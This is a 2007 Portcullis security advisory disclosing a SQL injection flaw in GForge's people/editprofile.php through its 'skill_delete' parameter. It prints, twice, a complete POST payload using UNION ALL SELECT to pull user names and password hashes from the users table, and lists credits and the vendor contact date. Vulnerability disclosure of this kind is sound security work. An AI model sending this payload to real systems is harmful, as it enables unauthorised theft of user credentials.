Tried, Tested and Proven

Security Advisory 07-014 – Sql Injection Vulnerability In GForge

Vulnerability Title:

Sql Injection

Vulnerable System:

All current versions till 4.6b2

Vulnerability discovery and development:

Portcullis Security Testing Services

Credit for Discovery:

Summit Siddharth – Portcullis Computer Security Ltd.

Affected Systems:

N/A

Details:

vulnerable script:- /www/people/editprofile.php

‘skill_delete’ parameter is not properly sanitized. The following POST request made to the vulnerable script will result in disclosure of all the usernames/password stored in the backend databases.

skill_delete%5B%5D=484)+UNION+ALL+SELECT+user_name||unix_pw+from+users--%3d1&MultiDelete=Delete
Exploit:

POST request to:/www/people/editprofile.php

skill_delete%5B%5D=484)+UNION+ALL+SELECT+user_name||unix_pw+from+users--%3d1&MultiDelete=Delete.

This will work irrespective of the ‘magic_quotes_gpc’ php setting.

Impact:

This could lead to unauthorized access of information.

Vendor Status:

emailed vendor 17/08/2007

Copyright:

Copyright © Portcullis Computer Security Limited 2007, All rights reserved worldwide.
Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of Portcullis Computer Security Limited.

Disclaimer:

The information herein contained may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user’s risk. In no event shall the author/distributor (Portcullis Computer Security Limited) be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information.